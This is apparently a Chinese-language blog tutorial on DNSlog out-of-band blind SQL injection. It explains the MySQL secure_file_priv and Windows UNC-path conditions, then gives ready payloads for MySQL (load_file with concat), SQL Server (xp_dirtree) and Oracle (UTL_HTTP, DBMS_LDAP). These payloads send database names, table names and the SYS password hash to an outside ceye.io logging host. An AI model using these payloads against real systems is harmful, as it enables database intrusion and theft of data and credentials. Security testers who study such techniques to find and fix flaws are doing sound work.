dnslog
大家好,又見面了,我是風君子,祝每個程序員都可以多學幾門語言。
0x00前言
我們在盲注的時候,會非常的繁雜,發起大量的請求容易被禁ip。
爆數據的時候也比較慢,所以我們需要用到dnslog盲注。
0x01dnslog盲注
dnslog盲注條件:
dnslog盲注有一定的局限性,條件是secure_file_priv必須為空并且是windows系統。
secure_file_priv=null不允許導入導出 secure_file_priv=/tmp只允許在tmp目錄導入導出 secure_file_priv=沒有具體的值
show global variables like '%secure%';
查看secure_file_priv的值
如果沒有需要手工設置。
可修改mysql配置文件Windows下為my.ini,在[mysqld]下面,查看是否有:
secure_file_priv =
沒有就手工添加。
添加完成后直接來查詢
Windows但不支持 Linux ,原因如下:load_file函數在Linux下是無法用來做dnslog攻擊的,因為在這里就涉及到Windows的一個小Tips——UNC路徑。
UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用于在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式
。因為Linux沒有UNC路徑這個東西,所以當MySQL處于Linux系統中的時候,是不能使用這種方式外帶數據的
mysql盲注構造payload
and load_file(concat('\\\\',(select database()),'.fbuf5n.ceye.io\\abc'))
就可以看到數據庫名已經被回顯在dns平臺上。
在一些sqlserver無回顯,Oracle注入無回顯、ssrf、xxe、命令執行無回顯的時候也可以用到dnslog來回顯出來。
sqlserver:
payload:
DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 name from master.dbo.sysobjects where xtype = 'u')+'.fbut5n.ceye.io';EXEC('master..xp_dirtree"\\'+@host+'\foobar$"');
oracle:
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
dnslog平臺:
http://ceye.io/
0x02尾聲
滲透在于折騰
總結
- 上一篇: 祝愿未来可期的句子 祝福未来前程似锦的短
- 下一篇: 普通话韵母教案一等奖